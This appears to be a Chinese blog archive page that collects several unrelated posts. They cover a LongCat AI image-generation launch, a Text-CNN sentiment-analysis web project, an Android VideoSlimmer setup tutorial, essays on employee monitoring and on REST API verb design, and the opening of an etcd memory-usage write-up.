包含关键字 typecho 的文章

美团 LongCat 全新上线 AI 生图功能,该功能基于 LongCat 系列模型「LongCat-Image」打造而成。不仅在文生图任务中实现了“快、真、准” :出图快速响应、达到摄影棚拍摄质感、中文渲染精准度高;更在图像编辑任务上做到了精准便捷,无需复杂指令,可以用自然语言对图像进行二次编辑。无论是追求高效出图的普通用户,还是需要精准落地创意的专业创作者,LongCat 都以 “轻量化模型 + 流畅体验” ,让 AI 生图真正成为人人可用的创作工具。

目前,AI 生图功能已在 LongCat APP 和 https://longcat.ai/ 同步上线,轻松解锁高效创作新方式。

LongCat · AI 生图「三大功能亮点 」

亮点一:图像生成 + 编辑一体化,创意落地无断点

从 “文字生成图片” 到 “用嘴改图” 一步到位,帮你轻松拿捏专业创作:

  • 简单提示词也能高效出图:基于深度优化语义理解能力,简单提示词也能生成效果高度契合画面、布局、氛围及内容,在保障质量的前提下大幅提升创作效率。
  • 全场景编辑无断点:支持物体增删、风格迁移、视角转换、人像精修、文本修改等 15 类细分任务,无论是简单的背景替换,还是复杂的多轮复合指令,均能精准执行。
  • 多轮编辑不丢质感:修改后画面和原图风格、光影保持一致,不会出现 “拼接感”,人像编辑保留面部特征,多轮编辑画面不跑偏。

prompt:头发颜色变成灰色,衣服颜色变成米色,面带微笑

prompt:拉远镜头,显示更多室内场景

prompt:将人物变为棕色的熊,保持相同的姿态

prompt:消除最左边的饮料

prompt:让猫闭上眼睛

prompt:变成真的老虎,在海边

prompt:在红色圈添加一个白色的钟表,绿色框添加黑色的手提包,黑色框添加一只白色的猫

亮点二:中文文字生成超能打,生僻字也不翻车

中文文字生成能力优异,生僻字生成也不在话下:

  • 字符渲染优异:店铺牌匾、海报标题、书籍封面等场景的中文文字,无错字、漏字、字体扭曲,多行排版、段落文本均能精准渲染
  • 生僻字高覆盖率:非常见字、异体字、书法字体(楷体、行书)准确率较高,适配传统文化、专业领域等特殊创作需求
  • 智能排版:自动匹配场景调整文字大小、颜色、行距,如古风文案搭配书法字体,科技主题适配现代无衬线字体,无需手动调整

亮点三:快速生成摄影棚级质感画面

  • 快速响应不等待:轻量化技术优化让单张高清图高效生成,效率较同类工具有一定提升,高频创作无需久候。
  • 质感堪比棚拍实景:优化构图与光影美学,物体纹理、场景光影精准复刻真实世界,人物肢体、物体比例遵循物理规律,实现摄影棚拍质感。

强大功能背后的「技术底座」

LongCat-Image具备出色的跨语言图像编辑能力,通过共享 MM-DiT+Single-DiT 混合主干架构与VLM条件编码器,文生图与编辑能力相互辅助,继承文生图的出图质量并具备出色的指令遵循、一致性保持能力,在主流公开评测基准上达到第一梯队水平。文字生成专项能力上,覆盖全量通用规范汉字并在在商业海报、自然场景文字上都展现出极强的适用性。此外,通过精细化模型设计及多阶段训练策略优化,极大提升生成真实度、合理性并可支持消费级显卡高效推理。

文字生成基准测试

图像编辑基准测试性能比较

用 LongCat 记录你的「灵感瞬间」吧!

LongCat APP 体验入口:在「LongCat APP」中,你可以:输入一句话,生成高质量图像,或对生成图像进行迭代编辑、多轮生成,快速响应。

LongCat Web 端入口

您可以登录 https://longcat.ai/  ,体验高效的 AI 生图功能,或对生成图像进行多轮编辑。

iOS 用户可在 APPStore 中搜索 「LongCat」

更多玩法探索

一、项目介绍

本项目是一个基于Text-CNN深度学习模型的中文文本情感识别Web应用系统。系统采用前后端分离架构,后端使用Flask框架构建RESTful API,深度学习模型采用TensorFlow/Keras实现的Text-CNN卷积神经网络,前端框架支持跨平台访问。

系统核心功能包括用户注册登录、JWT身份认证、中文文本情感分析、批量预测处理以及历史记录管理等。系统使用jieba分词对中文文本进行预处理,通过训练好的Text-CNN模型对文本情感进行二分类判断(积极/消极),并提供直观的置信度可视化展示。系统支持用户角色管理(普通用户和管理员),实现了基于RBAC的权限控制机制,确保数据安全和用户隐私。系统采用SQLite数据库存储用户信息和预测历史,使用Flask-Migrate进行数据库版本管理,保证了系统的可维护性和可扩展性。
图片

图片

二、选题背景与意义

随着互联网技术的快速发展和社交媒体的普及,网络上产生了海量的文本数据,如用户评论、社交媒体帖子、产品评价等。这些文本数据中蕴含着丰富的情感信息,对于企业了解用户需求、改进产品服务、进行舆情监控等方面具有重要价值。传统的人工分析方式效率低下且成本高昂,无法满足大规模文本情感分析的需求,因此开发自动化的文本情感识别系统具有重要的现实意义。

中文文本情感识别相比英文更具挑战性,主要原因是中文语言的复杂性,包括分词困难、语义表达多样、网络用语丰富等特点。本系统针对中文文本特性,采用基于深度学习的Text-CNN模型进行情感分析,相比传统的机器学习方法(如SVM、朴素贝叶斯等),能够自动提取文本特征,避免了繁琐的人工特征工程,同时具有更高的准确率和更好的泛化能力。

本系统的设计和实现具有重要的理论意义和应用价值。在理论层面,探索了卷积神经网络在中文文本情感分析中的应用,验证了Text-CNN模型在中文情感二分类任务上的有效性。在应用层面,系统可应用于电商评论分析、社交媒体舆情监控、客户反馈分析等多个场景,为企业决策提供数据支持,具有广泛的实用价值。

三、关键技术栈:text-cnn

Text-CNN(Text Convolutional Neural Network)是本系统的核心深度学习模型,由Yoon Kim在2014年提出,将卷积神经网络成功应用于文本分类任务。相比传统的循环神经网络(RNN)和长短期记忆网络(LSTM),Text-CNN具有并行计算能力强、训练速度快、能够捕捉文本局部特征等优势,特别适合文本分类任务。

Text-CNN的模型结构主要包含四个部分:嵌入层(Embedding Layer)、卷积层(Convolutional Layer)、池化层(Pooling Layer)和全连接层(Fully Connected Layer)。在嵌入层,系统将预处理后的中文分词转换为密集的词向量表示,捕捉词语的语义信息。卷积层使用多个不同尺寸的卷积核(如3、4、5个词窗口)对文本进行卷积操作,提取文本的局部特征,类似于N-gram特征提取。池化层采用最大池化(Max Pooling)操作,从每个卷积核的输出中提取最重要的特征,降低特征维度并保留最显著的情感特征。全连接层将池化后的特征进行整合,通过Softmax激活函数输出分类概率。

四、技术架构图

图片

五、系统功能模块图

图片

演示视频 and 完整代码 and 安装

地址:https://www.yuque.com/ziwu/qkqzd2/py2zlsgq894x4eq6

​《FFmpeg开发实战:从零基础到短视频上线》一书的“第 12 章  FFmpeg的移动开发”介绍了如何使用FFmpeg在手机上剪辑视频,方便开发者更好地开发类似剪映那样的视频剪辑软件。那么在Android系统上还有一款国产的开源视频压缩工具VideoSlimmer,通过该框架可以更方便地压缩视频大小,下面就来介绍如何在App工程中使用VideoSlimmer。

VideoSlimmer是一款专为Android平台设计的开源视频压缩工具,它通过Mediacodec实现视频压缩功能,并具有较高的压缩性能。VideoSlimmer支持压缩的视频格式包括mp4和3gp。
VideoSlimmer的源码托管地址为 https://github.com/zolad/VideoSlimmer (星星数0.2k),最近版本更新于2018年10月,该版本的压缩包下载地址为 https://github.com/zolad/VideoSlimmer/archive/refs/heads/master.zip
VideoSlimmer提供了两种集成方式:引用在线库、直接导入源码,分别说明如下:

一、引用VideoSlimmer在线库

Android工程引用VideoSlimmer在线库时,需要修改以下两个配置:
1、打开模块级别的build.gradle,给dependencies节点补充下面几行配置,表示引入1.0.0版本的VideoSlimmer库:

implementation 'com.zolad:videoslimmer:1.0.0'

2、打开App模块的src/main/AndroidManifest.xml,给manifest节点补充下面两行权限配置,表示声明读写存储空间两个权限:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

二、直接导入VideoSlimmer源码

由于VideoSlimmer的发布时间较早,为了让小海豚版本的Android Studio Dolphin能够打开它的范例工程,需要对VideoSlimmer的App工程作如下修改:

1、升级Gradle版本

打开VideoSlimmer工程的gradle/wrapper/gradle-wrapper.properties,把下面这行配置

distributionUrl=https://services.gradle.org/distributions/gradle-4.4-all.zip

改成如下这行配置,表示把Gradle版本从4.4升级到5.4.1。

distributionUrl=https://services.gradle.org/distributions/gradle-5.4.1-bin.zip

2、更新工具库的仓库位置

打开VideoSlimmer工程的build.gradle,把里面的两处“jcenter()”都改为以下配置:

// 以下四行添加阿里云的仓库地址,方便国内开发者下载相关插件
maven { url 'https://maven.aliyun.com/repository/jcenter' }
maven { url 'https://maven.aliyun.com/repository/google'}
maven { url 'https://maven.aliyun.com/repository/gradle-plugin'}
maven { url 'https://maven.aliyun.com/repository/public'}
google()
mavenCentral()

因为jcenter仓库已经废弃,所以改成引用国内的仓库位置。
此外,还要把下面两行配置

classpath 'com.android.tools.build:gradle:3.1.2'

改成下面这行配置,表示把Gradle插件版本升级到3.2.0版本:

classpath 'com.android.tools.build:gradle:3.2.0'

3、调整模块的build.gradle

打开VideoSlimmer工程的app/build.gradle,找到下面这行配置:

compileSdkVersion 28

在上面这行下方补充下面这行配置,表示指定编译工具的版本号:

buildToolsVersion "28.0.3"

还要把下面这行配置

implementation 'com.android.support:appcompat-v7:28.0.0-rc01'

改成下面这行配置:

implementation 'com.android.support:appcompat-v7:28.0.0'

改完build.gradle,记得单击Sync同步App工程配置。

完成以上三处修改后,重新编译App安装到真机上,挑选一个视频后进入视频压缩界面如下图所示:

可见选中视频正在压缩当中。稍等片刻视频压缩完成,界面下方展示结果视频的保存路径以及压缩进度,如下图所示:

发现压缩前的视频大小为85MB,压缩后的视频大小为12MB,仅为原视频的七分之一左右,可见压缩效果还是不错的。压缩之后的结果视频放在公共存储空间的Movies目录,完整路径为“我的手机/Movies/VIDEOSLIMMER_yyyymmdd_hhmiss.mp4”,其中yymmdd为年月日,hhmiss为时分秒。

更多详细的FFmpeg开发知识参见《FFmpeg开发实战:从零基础到短视频上线》一书。

今天看到微博上有一个热点事件, 是一个关于某公司做的一个监控员工离职倾向的软件,从截图中可以看到员工访问招聘网站的次数,还有投递的简历以及搜索的关建词等等信息,通过这些信息分析员工的离职倾向。然后我发一个微博,说了一下,我以前工作过的公司无论外国公司还是中国公司都有这样的情况,收到一些人来问我相关的情况,所以,我想还是写篇文章详细地说一下,我对这种事情的看法。

本文分成下面个部分:

  • 公司监控员工的技术手段有哪些?
  • 为什么要监控员工?
  • 外企和国企有什么不一样?
  • 我对此事的看法

目录

技术手段

下面是我经历过的几个手段:

1)通过网络嗅探的方式。也就是说,你只要上了公司的网络,你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然,这样的手段已经不怎么好用了,因为现在的网络基本上都是HTTPS加密的,网络嗅探的方式只能知道你访问了什么IP,对于其中的数据是没有办法知道的。

2)通过使用公司提供的软硬件工具。你使用公司的电子邮箱,浏览器(或是公司的代理服务器),通讯工具(包括语音电话),手机办公应用……等来处理你的个人事宜的时候,必然会被监控。这样,你只需要不要使用公司的软件来处理自己的私事就好了。

3)通过安装一个监控程序。这个是最可怕的了,因为无论你加不加密都没用了。一般来说,你不安装这个程序,你就没有办法连上网络,包括公司内网和外网。这个监控程序,会收集你电脑或手机上能够收集的到的所有的信息,比如,你的网络信息,按键操作,录屏,软件数据……等等。

4)办公区监控。我见过的还有使用摄像头,在会议室中安装声音和视频监控设备,对整个办公区内发生所有的事情进行监控。

5)通过爬虫。通过爬虫分析员工的社交平台上的各种言论,包括招聘网站。除了公司需要分布和自己相关的舆情,同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……

公司监控的目的

公司监控的目的最早就是为了防止自己公司内的数据和信息外泄,所以,他们害怕自己的员工访问了什么不合适的网站,或是下载了什么有恶意的软件,或是不小心发错了邮件。另外一些公司也会使用外包人员,所以,对于外部编制的人员更需要有信息泄漏防范的安全需求。当然,也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司,如我以前呆过的Thomson Reuters,这家公司主要是卖金融数据的,所以,对信息泄漏是非常注重的,其就是需要在员工的电脑上安装监控软件。

还有一些劳动密集型的工作,比如在Amazon里的仓库里工作的人,公司会监控员工的工作量,以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量,我到今天仅见过监控外包人员的,在中国,外包人员需要使用甲方的电脑进行签到和签退,以及相关的工作。除了上述的信息安全目前,还能够看到员工的工作时长的情况。

所以,一般来说,公司监控的目的主要是为了自己的信息安全,还有员工的工作量评估,一般来说,不会涉及员工的隐私

但是,随着收集的数据越来越多,有些公司发现还可以做更多的事,比如,上述的员工离职倾向的分析。还有一些公司还会收集员工在外网的数据,比如你在社交平台上的各种言论,来分析你对公司的忠诚度和你的价值观取向……我个人觉得这些已经令人不耻了。

外企与国企不同之处

我经历过的公司中,外国公司和中国公司都有监控的经历,这里说一下他们的不一样之处。最大的不一样的地方是,外国公司会让你有知情权,而中国公司则完全没有

我记得我进入Thomson Reuters 公司的时候,公司要求签署一份监控的知情的同意书,其中用中英文写的,就是说,你授权公司监控你的如下这些信息:1)上网记录,2)下载的软件,3)工作电脑,4)公司的座机电话,5)会议室和办公区的语音和视频监控……大概有两页A4纸,然后也说明了这些数据公司仅用于信息安全的风控,不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的,并且对双方都有法律约束的。

中国的公司则不会告诉你他们会监控你哪些数据,而这些数据拿来做什么。 我记得我在某公司工作的时候,就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……

我对此事的看法

一方面,我对于公司通过使用监控软件监控员工的行为我是能够理解的,但是,应该让员工有知情权,并和员工明确一个监控的信息和范围,包括收集的数据的用途和安全措施,以及数据多长时间销毁的协议。如果没有这个协议的话,我觉得本质上就是一种流氓行为。

另一方面,针对监控员离职的倾向来说,我实在不知道有什么意义?公司你知道了又能如何呢?你是要找员工作思想工作,还是要给员工更好的待遇,还是直接开掉?如果你对自己的企业有信心,你就不必担心员工会离开,如果你的企业有问题,你为什么不把心思花在建设自己的企业上来呢?安装这样的监控软件对于企业没有什么帮助,反而只会让你的企业的形象更low……

再仔细想想,员工有一万种方法泄漏你公司的信息,无论你怎么监控,只要他想,他总是能够找到方法的,不是么?如何让找到或是培养有职业操守的员工,如何管理自己企业的商业信息,如何建立一个更好的企业文化让员工更有归属感,成为企业的共同体,一同维护共同利益,为企业着想,这不才是公司真正应该干的事吗?!监控员工充分暴露了这样的企业没有一个好的企业文化,不懂得高级的管理,所以,只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。

写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——

“对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”

然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。

这篇文章主要分成下面这几个部分:

  1. 为什么要用不同的HTTP动词?
  2. Restful 进行复杂查询
  3. 几个主要问题的回应
    • POST 更安全吗?
    • 全用 POST 可以节省时间沟通少吗?
    • 早点回家的正确姿势
    • 工作而已,优雅不能当饭吃

目录

为什么要用不同的HTTP动词

编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。

  • 业务逻辑。就是你实现业务需求的功能的代码,就是跟用户需求强相关的代码。比如,把用户提交的数据保存起来,查询用户的数据,完成一个订单交易,为用户退款……等等,这些是业务逻辑
  • 控制逻辑。就是我们用于控制程序运行的非功能性的代码。比如,用于控制程序循环的变量和条件,使用多线程或分布式的技术,使用HTTP/TCP协议,使用什么样数据库,什么样的中间件……等等,这些跟用户需求完全没关系的东西。

网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。

HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。

下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods

方法 描述 幂等
GET 用于查询操作,对应于数据库的 select 操作 ✔︎
PUT 用于所有的信息更新,对应于数据库的 update 操作 ✔︎︎
DELETE 用于更新操作,对应于数据库的 delete 操作 ✔︎︎
POST 用于新增操作,对应于数据库的 insert 操作
HEAD 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 ✔︎
PATCH 用于局部信息的更新,对应于数据库的 update 操作
OPTIONS 获取API的相关的信息。 ✔︎

其中,PUT 和 PACTH 都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT 用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH 则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。

当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login 你觉得这个API应该是 GETPOSTPUT 还是 PATCH ?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET ,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST,而 /logout 你可以使用 DELETE这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。

另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。

  • POST 用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的
  • DELETE 用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的
  • PUT 用于全部数更新,所以,是幂等的。
  • PATCH用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。

幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。

除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:

  • 缓存。通过CDN或是网关对API进行缓存,很显然,我们要在查询GET 操作上建议缓存。
  • 流控。你可以通过HTTP的动词进行更粒度的流控,比如:限制API的请用频率,在读操作上和写操作上应该是不一样的。
  • 路由。比如:写请求路由到写服务上,读请求路由到读服务上。
  • 权限。可以获得更细粒度的权限控制和审计。
  • 监控。因为不同的方法的API的性能都不一样,所以,可以区分做性能分析。
  • 压测。当你需要压力测试API时,如果没有动词的区分的话,我相信你的压力测试很难搞吧。
  • ……等等

也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET 表示是读操作,POST表示是写操作。

Restful 复杂查询

一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API GuidelinesPaypal API Design Guidelines

  • 排序。对于结果集的排序,使用 sort 关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc} 的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc 或是 GET /admin/companies?sort=rank|asc,zip_code|desc

  • 过滤。对于结果集的过滤,使用 filter 关键字,以及 {field_name} op{value} 的语法。比如: GET /companies?category=banking&location=china 。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=<><=>=,以及三个逻辑操作:andornot。(表达式中的一些特殊字符需要做一定的转义,比如:>= 转成 ge)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55 查找所有的价柗小于2.55的牛奶。

  • 搜索。对于相关的搜索,使用 search 关键字,以及关键词。如:GET /books/search?description=algorithm 或是直接就是全文搜索 GET /books/search?key=algorithm

  • 分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。


    • 使用pageper_page代表页码和每页数据量,比如:GET /books?page=3&per_page=20
    • 可选。上面提到的page方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID时间等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20 或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20

注意:这里需要注意一下,在理论上来说GET是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:

  1. 对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET 

  2. 对于复杂的查询来说,可能会有很复杂的查询参数,比如:ElasticSearch 上的 index/_search里的 DSL,你也应该尽可能的使用 GET,而不是POST 除非客观条件上不支持GET。ElasticSearch 的官方文档里也是这么说的。

The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)

陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。

另外,对于一些更为复杂的操作,建议通过分别调用多个API的方式来完成,虽然这样会增加网络请求的次数,但是这样的可以让后端程序和数据耦合度更小,更容易成为微服务的架构。

最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。

几个主要问题的回应

下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。

1)为什么API 要Restful,并符合规范?

Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。

2)为什么“过早优化”不适用于API设计?

因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API GuidelinesPaypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.

3)POST 更安全吗?

不会。

很多同学以为 GET 的请求数据在URL中,而 POST 的则不是,所以以为 POST 更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET 请求不安全,但是,POST 也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST 的。  安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。

另外,

  • 如果你要 防止你的 GET 上有敏感信息,应该加个密,这个跟 POST是一样的。
  • 如果你要防止 GET 会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET 上做签名,POST 就忘做了)
  • 如果你要防止有人发一些恶意链接来 hack 你的用户(传说中的 GET 不如 POST 安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。

总之,你要明白,GETPOST 的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。

4)全用 POST 可以节省时间减少沟通吗?

不但不会,反而更糟糕。

说这种话的人,我感觉是不会思考问题。

  • 其一,为API赋于不同的动词,这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发,比如Spring Boot,写数据库的CRUD基本上就不需要写SQL语言相关的查询代码,非常之方便。
  • 其二,使用规范的方式,可以节约新加入团队人员的学习成本,而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的,这个我们整个人类进行协作的基础。所以,这个世界上有很多的标准,你只要照着这个标准来,你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。
  • 其三,全用POST接口一把梭,不规范不标准,使用你的这个山寨API的人就得来不断的问你,反而增加了沟通。另外,也许你开发业务功能很快了,但是你在做控制逻辑的时候,你就要返工了,从长期上来讲,你的欠下了技术债,这个债反而导致了更大的成本。
5)早点回家的正确姿势

不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:

  • 把代码组织设计好,有更好的扩展性。这样在面对新需求的时候,你就可以做到少改代码,甚至不改代码。这样你才可能早回家。不然,每次需求一来,你得重新写,你怎么可能早回家?
  • 你的代码质量是不错的,有不错的文档和注释。所以,别人不会老有问题来找你,或是你下班后,叫你来处理问题。甚至任何人都可以很容易地接手你的代码,这样你才可能真正不被打扰
6)工作而已,优雅不能当饭吃

回应两点:

其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。

其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量

希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!

你的工作给你权力,而只有你的行为才会给你尊重

今天跟大家分享一个etcd的内存大量占用的问题,这是前段时间在我们开源软件Easegress中遇到的问题,问题是比较简单的,但是我还想把前因后果说一下,包括,为什么要用etcd,使用etcd的用户场景,包括etcd的一些导致内存占用比较大的设计,以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题,还能让你有更多的收获。当然,也欢迎您关注我们的开源软件,给我们一些鼓励。

为什么要用ETCD

先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress(源码)说起。

Easegress 是我们开发并开源的一个API应用网关产品,这个API应用网关不仅仅只是像nginx那样用来做一个反向代理,这个网关可以做的事很多,比如:API编排、服务发现、弹力设计(熔断、限流、重试等)、认证鉴权(JWT,OAuth2,HMAC等)、同样支持各种Cloud Native的架构如:微服务架构,Service Mesh,Serverless/FaaS的集成,并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以,为了达到这些目标,在2017年的时候,我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的,必需重新写一个(后来其他人也应该跟我们的想法一样,所以,Lyft写了一个Envoy。只不过,Envoy是用C++写的,而我用了技术门槛更低的Go语言)

另外,Easegress最核心的设计主要有三个:

  • 一是无第三方依赖的自己选主组集群的能力
  • 二是像Linux管道命令行那样pipeline式的插件流式处理(支持Go/WebAssembly)
  • 三是内置一个Data Store用于集群控制和数据共享。

对于任何一个分布式系统,都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制,并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据,以保证整个集群的行为是统一一致的。如果没有这么一个东西的话,就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意,Zookeeper他们主要不是给你存数据的,而是给你组集群的。

Zookeeper是一个很流行的开源软件,也被用于各大公司的生产线,包括一些开源软件,比如:Kafka。但是,这会让其它软件有一个依赖,并且在运维上带来很大的复杂度。所以,Kafka在最新的版本也通过内置了选主的算法,而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力,也是kubernetes组建集群的关键组件。Easegress在一开始(5年前)使用了gossip协议同步状态(当时想的过于超前,想做广域网的集群),但是后发现这个协议太过于复杂,而且很难调试,而广域网的API Gateway也没遇到相应的场景。所以,在3年前的时候,为了稳定性的考量,我们把其换成了内嵌版本的etcd,这个设计一直沿用到今天。

Easegress会把所有的配置信息都放到etcd里,还包括一些统计监控数据,以及一些用户的自定义数据(这样用户自己的plugin不但可以在一条pipeline内,还可以在整个集群内共享数据),这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标,尤其是开源软件更要想方设法降低技术门槛让技术易扩展,这就是为什么Google的很多开源软件都会选使用Go语言的原因,也是为什么Go正在取代C/C++的做PaaS基础组件的原因。

背景问题

好了,在介绍完为什么要用etcd以后,我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候,在Easegress内配置了上千条pipeline,导致 Easegress的内存飙升的非常厉害- 10+GB 以上,而且长时间还下不来。

用户报告的问题是——

在Easegress 1.4.1 上创建一个HTTP对象,1000个Pipeline,在Easegres初始化启动完成时的内存占用大概为400M,运行80分钟后2GB,运行200分钟后达到了4GB,这期间什么也没有干,对Easegress没有进行过一次请求。

一般来说,就算是API再多也不应该配置这么多的处理管道pipeline的,通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的,就像nginx下的location的配置,一般来说不会太多的。但是,在用户的这个场景下配置了上千个pipeline,我们也是头一次见,应该是用户想做更细粒度的控制。

